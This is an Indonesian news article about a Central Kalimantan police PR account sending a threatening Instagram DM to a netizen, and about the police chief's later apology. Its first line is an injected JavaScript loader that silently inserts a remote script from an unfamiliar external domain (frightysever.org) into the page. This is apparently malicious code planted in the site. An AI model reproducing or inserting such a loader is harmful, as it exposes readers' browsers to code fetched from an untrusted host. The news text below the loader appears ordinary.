(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PALANGKARAYA – Instagram resmi milik Bidang Humas Polda Kalimantan Tengah mengirim pesan langsung alias direct message (DM) ke netizen yang diduga berkomentar mampus soal dimutasinya Aipda Monang Parlindungan Ambarita di akun Instagram @infokalteng. Reaksi admin Instagram @humaspoldakalteng yang dinilai berlebihan ini pun ramai diperbincangkan di media sosial.
Akun Twitter @salimvanjav salah satunya yang mengunggah tangkapan layar saat admin Instagram @humaspoldakalteng mengiirm DM kepada netizen yang berkomentar mampus. Dalam tangkapan layar tersebut terlihat admin Instagram @humaspoldakalteng mengirim pesan ‘Maksudmu kirim komen ‘mampus’ di infokalteng itu apa? Hari ini pukul 10.00 WIB kamu ke kantor Humas Polda Kalteng, biar kami jelaskan. Kami tunggu segera’.
“Gila, sensian aamat,” kicau akun @salimvanjav seraya mengunggah tangkapan layar tersebut seperti dikutip Suara.com, Rabu (20/10/2021).
Netizen yang menerima DM dari admin Instagram @humaspoldakalteng pun menjawab dengan menjelaskan maksud kata ‘mampus’. Menurutnya, kata tersebut berarti ejekan.
Baca juga : Ambarita dan Jacklyn Choppers Dimutasi karena Bakat Main Medsos, Komisi III Ingatkan Ini
Namun, admin @humaspoldakalteng tetap tak terima. Dia lantas mengajak yang bersangkutan bertemu.
‘Kamu sekarang dimana? kalau lewat DM begini nggak bakal nyambung, biar kami yang datang. Mampus itu artinya MATI nggak ada kamu plesetkan lagi artinya. Kalau kamu merasa benar kamu pertanggungjawabkan kata-kata mu itu’ jawab admin Instagram @humaspoldakalteng.
Buntut dari peristiwa ini, kolom komentar akun Instagram @humaspoldakalteng pun diserbu netizen. Salah satunya oleh penyanyi sekaligus aktivis Ananda Badudu.
“Permisi Pak mau tanya kalau mampus artinya apa?,” tulis @anandabadudu.
“Ada namanya SOP Pak. Ya kali sekelas Humas Polda cara komunikasinya seperti debt collector. Katanya #PolriSesuaiProsedur. Main ancam itu prosedur mana?,” tulis @warungsastra.
Baca juga : 7 Manfaat Daun Sirih untuk Kesehatan, Obat Luka Bakar hingga Meredakan Keputihan
Berkenaan dengan itu, Kabid Humas Polda Kalimantan Tengah Kombes Pol Eko Saputro mengaku anggotanya telah bertindak salah. Menurutnya anggota yang mengirim DM kepada salah satu netizen itu telah diberikan teguran.
“Sudah ditegur secara lisan supaya tidak mengulangi dan harus menerima kritikan masyarakat dan mengucapkan terima kasih. Nggak boleh berkata kasar di media sosial,” kata Eko kepada Suara.com -jaringan Kanalkalimantan.com, Rabu (20/10/2021).
Atas hal itu, Eko menyampaikan permohonan maaf. Dia lagi-lagi mengakui bahwa anggotanya telah melakukan kesalahan.
“Saya minta maaf, wong salah anggotaku,” katanya. (Suara.com)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More
This website uses cookies.